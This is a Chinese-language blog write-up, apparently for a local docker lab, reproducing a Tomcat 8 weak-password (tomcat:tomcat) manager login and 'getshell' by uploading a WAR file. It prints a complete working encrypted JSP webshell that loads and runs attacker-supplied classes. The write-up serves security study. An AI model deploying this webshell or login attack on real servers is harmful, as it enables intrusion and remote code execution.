Tomcat8

简介: Tomcat8

漏洞简述

Tomcat7+ 弱口令 && 后台getshell漏洞

Tomcat版本:8.0

环境说明

Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。

Tomcat7+权限分为:

  • manager(后台管理)
  • manager-gui 拥有html页面权限
  • manager-status 拥有查看status的权限
  • manager-script 拥有text接口的权限,和status权限
  • manager-jmx 拥有jmx权限,和status权限
  • host-manager(虚拟主机管理)
  • admin-gui 拥有html页面权限
  • admin-script 拥有text接口权限

这些权限的究竟有什么作用,详情阅读 http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html

conf/tomcat-users.xml文件中配置用户的权限:

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
    <role rolename="manager-gui"/>
    <role rolename="manager-script"/>
    <role rolename="manager-jmx"/>
    <role rolename="manager-status"/>
    <role rolename="admin-gui"/>
    <role rolename="admin-script"/>
    <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>

可见,用户tomcat拥有上述所有权限,密码是tomcat

正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。

漏洞复现

docker-compose up -d

Error starting userland proxy: listen tcp4 0.0.0.0:8080: bind: address already in use

错误原因关掉burp

打开tomcat管理页面http://127.0.0.1:8080/manager/html,输入弱密码tomcat:tomcat,即可访问后台:

将带有一句话的he.jsp文件压缩成zip,并且将压缩后的zip文件改名为he.war

jsp 一句话木马,密码为pass

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

上传he.war文件

相关文章
|
6月前
|
XML Java 应用服务中间件
一文了解Tomcat
Tomcat是一个开放源代码的Java Servlet容器,它实现了Java Servlet和JavaServer Pages(JSP)规范。由于Tomcat是一个Java应用程序,它可以在多个操作系统上运行,如Windows、Linux和Mac OS等。Tomcat的主要作用是提供一个运行Java Web应用程序的环境。它可以处理从客户端发送的HTTP请求,并将请求传递给相应的Java Servlet或JSP进行处理。Servlet和JSP是用Java编写的服务器端组件,用于生成动态的Web内容。
252 4
|
6月前
|
安全 应用服务中间件 数据库连接
Tomcat详解
Tomcat详解
60 1
|
Java 应用服务中间件 容器
tomcat
tomcat
94 0
|
Java 应用服务中间件
Tomcat2
Tomcat2
75 0
|
Oracle 前端开发 Java
Tomcat1
Tomcat1
131 0
|
XML 开发框架 搜索推荐
练习Tomcat
静态网页: (1)静态网页不能简单地理解成静止不动的网页,他主要指的是网页中没有程序代码,只有HTML(即:超文本标记语言),一般后缀为.html,.htm,或者.xml等。虽然静态网页的页面一旦做成,内容就不会再改变了。但是,静态网页也包括一些能动的部分,这些主要是一些GIF动画等 (2)静态网页的打开,用户可以直接双击,并且不管任何人任何时间打开的页面的内容都是不变的。
56 0
|
前端开发 网络协议 Java
|
缓存 NoSQL 数据可视化
|
Java Unix 应用服务中间件
tomcat介绍
tomcat介绍
|
XML Java 应用服务中间件
Tomcat就是这么简单(下)
Tomcat简单的说就是一个运行JAVA的网络服务器,底层是Socket的一个程序,它也是JSP和Serlvet的一个容器。
225 0
Tomcat就是这么简单(下)